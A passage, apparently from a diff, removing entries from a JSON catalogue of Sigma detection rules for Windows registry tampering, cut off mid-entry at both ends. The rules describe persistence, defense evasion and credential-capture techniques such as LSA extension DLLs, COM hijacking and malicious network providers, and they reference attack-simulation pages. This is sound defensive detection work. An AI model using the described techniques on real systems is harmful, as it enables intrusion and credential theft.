[ - "attack.persistence", - "attack.t1137" - ] - }, - "uuid": "5df86130-4e95-4a54-90f7-26541b40aec2", - "value": "Registry Modification to Hidden File Extension" - }, - { - "description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.", - "meta": { - "author": "frack113", - "creation_date": "2022/04/02", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_hide_file.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "5a5152f1-463f-436b-b2f5-8eceb3964b42", - "value": "Modification of Explorer Hidden Keys" - }, - { - "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", - "meta": { - "author": "frack113", - "creation_date": "2022/03/18", - "falsepositive": [ - "Legitimate admin script" - ], - "filename": "registry_set_hide_function_user.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "5a93eb65-dffa-4543-b761-94aa60098fb6", - "value": "Registry Hide Function from User" - }, - { - "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/26", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_hide_scheduled_task_via_index_tamper.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "5b16df71-8615-4f7f-ac9b-6c43c0509e61", - "value": "Hide Schedule Task Via Index Value Tamper" - }, - { - "description": "Detects the modification of the registry settings used for Internet Explorer and other Windows components that use these settings", - "meta": { - "author": "frack113", - "creation_date": "2022/01/22", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_ie_persistence.yml", - "level": "low", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_persistence.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "d88d0ab2-e696-4d40-a2ed-9790064e66b3", - "value": "Modification of IE Registry Settings" - }, - { - "description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate registration of IFilters by the OS or software" - ], - "filename": "registry_set_ifilter_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://persistence-info.github.io/Data/ifilters.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ifilter_persistence.yml", - "https://twitter.com/0gtweet/status/1468548924600459267", - "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", - "https://github.com/gtworek/PSBits/tree/master/IFilter" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "b23818c7-e575-4d13-8012-332075ec0a2b", - "value": "Register New IFiltre For Persistence" - }, - { - "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", - "meta": { - "author": "frack113", - "creation_date": "2022/04/04", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_install_root_or_ca_certificat.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "d223b46b-5621-4037-88fe-fda32eead684", - "value": "New Root or CA or AuthRoot Certificate to Store" - }, - { - "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n", - "meta": { - "author": "frack113", - "creation_date": "2022/05/28", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_lolbin_onedrivestandaloneupdater.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml", - "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "3aff0be0-7802-4a7e-a4fa-c60c74bc5e1d", - "value": "Lolbas OneDriveStandaloneUpdater.exe Proxy Download" - }, - { - "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_lsa_extension_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://persistence-info.github.io/Data/lsaaextension.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_extension_persistence.yml", - "https://twitter.com/0gtweet/status/1476286368385019906" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "41f6531d-af6e-4c6e-918f-b946f2b85a36", - "value": "Persistence Via LSA Extensions" - }, - { - "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", - "meta": { - "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2017/11/10", - "falsepositive": "No established falsepositives", - "filename": "registry_set_mal_adwind.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "uuid": "42f0e038-767e-4b85-9d96-2c6335bad0b5", - "value": "Adwind RAT / JRAT" - }, - { - "description": "Attempts to detect system changes made by Blue Mockingbird", - "meta": { - "author": "Trent Liffick (@tliffick)", - "creation_date": "2020/05/14", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_mal_blue_mockingbird.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/blue-mockingbird-cryptominer/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_blue_mockingbird.yml" - ], - "tags": [ - "attack.execution", - "attack.t1112", - "attack.t1047" - ] - }, - "uuid": "92b0b372-a939-44ed-a11b-5136cf680e27", - "value": "Blue Mockingbird" - }, - { - "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way" - ], - "filename": "registry_set_mpnotify_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mpnotify_persistence.yml", - "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", - "https://persistence-info.github.io/Data/mpnotify.html" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "92772523-d9c1-4c93-9547-b0ca500baba3", - "value": "Persistence Via Mpnotify" - }, - { - "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "This rule is to explore new applications on an endpoint. False positives depends on the organization.", - "Newly setup system.", - "Legitimate installation of new application." - ], - "filename": "registry_set_new_application_appcompat.yml", - "level": "informational", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml", - "https://github.com/OTRF/detection-hackathon-apt29/issues/1", - "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "60936b49-fca0-4f32-993d-7415edcf9a5d", - "value": "New Application in AppCompat" - }, - { - "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/23", - "falsepositive": [ - "Other legitimate network providers used and not filtred in this rule" - ], - "filename": "registry_set_new_network_provider.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", - "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "0442defa-b4a2-41c9-ae2c-ea7042fc4701", - "value": "New Network Provider - Registry" - }, - { - "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/26", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_office_enable_dde.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml", - "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021" - ], - "tags": [ - "attack.execution", - "attack.t1559.002" - ] - }, - "uuid": "63647769-326d-4dde-a419-b925cc0caf42", - "value": "Enable Microsoft Dynamic Data Exchange" - }, - { - "description": "Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)", - "meta": { - "author": "Trent Liffick (@tliffick)", - "creation_date": "2020/05/22", - "falsepositive": [ - "Valid Macros and/or internal documents" - ], - "filename": "registry_set_office_security.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://twitter.com/inversecos/status/1494174785621819397", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd", - "value": "Office Security Settings Changed" - }, - { - "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/01/10", - "falsepositive": [ - "Legitimate Addin Installation" - ], - "filename": "registry_set_office_vsto_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/_vivami/status/1347925307643355138", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vsto_persistence.yml", - "https://vanmieghem.io/stealth-outlook-persistence/" - ], - "tags": [ - "attack.t1137.006", - "attack.persistence" - ] - }, - "uuid": "9d15044a-7cfe-4d23-8085-6ebc11df7685", - "value": "Stealthy VSTO Persistence" - }, - { - "description": "Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other.", - "meta": { - "author": "@ScoubiMtl", - "creation_date": "2021/04/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_outlook_c2_registry_key.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_c2_registry_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.command_and_control", - "attack.t1137", - "attack.t1008", - "attack.t1546" - ] - }, - "uuid": "e3b50fa5-3c3f-444e-937b-0a99d33731cd", - "value": "Outlook C2 Registry Key" - }, - { - "description": "Detects the manipulation of persistent URLs which could execute malicious code", - "meta": { - "author": "Tobias Michalski", - "creation_date": "2021/06/10", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_outlook_registry_todaypage.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_todaypage.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1112" - ] - }, - "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1", - "value": "Persistent Outlook Landing Pages" - }, - { - "description": "Detects the manipulation of persistent URLs which can be malicious", - "meta": { - "author": "Tobias Michalski", - "creation_date": "2021/06/09", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_outlook_registry_webview.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_webview.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1112" - ] - }, - "uuid": "ddd171b5-2cc6-4975-9e78-f0eccd08cc76", - "value": "Persistent Outlook Landing Pages" - }, - { - "description": "Change outlook email security settings", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "registry_set_outlook_security.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml", - "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ] - }, - "uuid": "c3cefdf4-6703-4e1c-bad8-bf422fc5015a", - "value": "Change Outlook Security Setting in Registry" - }, - { - "description": "Detects potential persistence using Appx DebugPath", - "meta": { - "author": "frack113", - "creation_date": "2022/07/27", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_persistence_appx_debugger.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml", - "https://github.com/rootm0s/WinPwnage", - "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "df4dc653-1029-47ba-8231-3c44238cc0ae", - "value": "Windows Registry Persistence DebugPath" - }, - { - "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_persistence_autodial_dll.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml", - "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", - "https://persistence-info.github.io/Data/autodialdll.html" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "e6fe26ee-d063-4f5b-b007-39e90aaf50e3", - "value": "Persistence Via AutodialDLL" - }, - { - "description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a supsicious or unsuale location", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/28", - "falsepositive": [ - "Probable legitimate applications. If you find these please add them to an exclusion list" - ], - "filename": "registry_set_persistence_com_hijacking_susp_locations.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml", - "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "3d968d17-ffa4-4bc0-bfdc-f139de76ce77", - "value": "COM Hijacking For Persistence With Suspicious Locations" - }, - { - "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/09", - "falsepositive": [ - "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for" - ], - "filename": "registry_set_persistence_mycomputer.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml", - "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "8fbe98a8-8f9d-44f8-aa71-8c572e29ef06", - "value": "Persistence Via MyComputer Key and SubKeys" - }, - { - "description": "Detects potential COM object hijacking leveraging the COM Search Order", - "meta": { - "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, Cédric Hien", - "creation_date": "2020/04/14", - "falsepositive": [ - "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level" - ], - "filename": "registry_set_persistence_search_order.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml", - "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/", - "https://attack.mitre.org/techniques/T1546/015/" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12", - "value": "Windows Registry Persistence COM Search Order Hijacking" - }, - { - "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/22", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_persistence_typed_paths.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://forensafe.com/blogs/typedpaths.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml", - "https://twitter.com/dez_/status/1560101453150257154" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "086ae989-9ca6-4fe7-895a-759c5544f247", - "value": "Persistence Via TypedPaths" - }, - { - "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_policies_associations_tamper.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml", - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47", - "value": "Modify Attachment Manager Settings - Associations" - }, - { - "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_policies_attachments_tamper.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml", - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a", - "value": "Modify Attachment Manager Settings - Attachments" - }, - { - "description": "Detects that a powershell code is written to the registry as a service.", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_powershell_as_service.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "4a5f5a5e-ac01-474b-9b4e-d61298c9df1d", - "value": "PowerShell as a Service in Registry" - }, - { - "description": "Adds a RUN key that contains a powershell keyword", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/03/17", - "falsepositive": [ - "Legitimate admin or third party scripts" - ], - "filename": "registry_set_powershell_in_run_keys.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml", - "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry", - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "8d85cf08-bf97-4260-ba49-986a2a65129c", - "value": "Powershell in Windows Run Keys" - }, - { - "description": "Detects the modification of the registry of the currently logged in user to disable PowerShell module logging, script block logging or transcription and script execution logging", - "meta": { - "author": "frack113", - "creation_date": "2022/04/02", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_powershell_logging_disabled.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7", - "value": "PowerShell Logging Disabled" - }, - { - "description": "Detects when a new custom protocole handler is registered", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/05/30", - "falsepositive": [ - "Legitimate applications registering a new custom protocol handler" - ], - "filename": "registry_set_register_custom_protocol_handler.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_register_custom_protocol_handler.yml", - "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "fdbf0b9d-0182-4c43-893b-a1eaab92d085", - "value": "Newly Registered Protocol Handler" - }, - { - "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/24", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_renamed_sysinternals_eula_accepted.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml", - "Internal Research" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ] - }, - "uuid": "8023f872-3f1d-4301-a384-801889917ab4", - "value": "Usage of Renamed Sysinternals Tools - RegistrySet" - }, - { - "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", - "meta": { - "author": "frack113", - "creation_date": "2022/08/20", - "falsepositive": [ - "Legitimate use of the dll." - ], - "filename": "registry_set_scrobj_dll_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scrobj_dll_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "fe20dda1-6f37-4379-bbe0-a98d400cae90", - "value": "Scrobj.dll COM Hijacking" - }, - { - "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl", - "meta": { - "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", - "creation_date": "2022/05/04", - "falsepositive": [ - "Legitimate use of screen saver" - ], - "filename": "registry_set_scr_file_executed_by_rundll32.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/pabraeken/status/998627081360695297", - "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml", - "https://twitter.com/VakninHai/status/1517027824984547329" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "40b6e656-4e11-4c0c-8772-c1cc6dae34ce", - "value": "ScreenSaver Registry Key Set" - }, - { - "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/04", - "falsepositive": [ - "Administrative scripts", - "Installation of a service" - ], - "filename": "registry_set_servicedll_hijack.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", - "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "612e47e9-8a59-43a6-b404-f48683f45bd6", - "value": "ServiceDll Hijack" - }, - { - "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", - "meta": { - "author": "frack113", - "creation_date": "2022/03/18", - "falsepositive": [ - 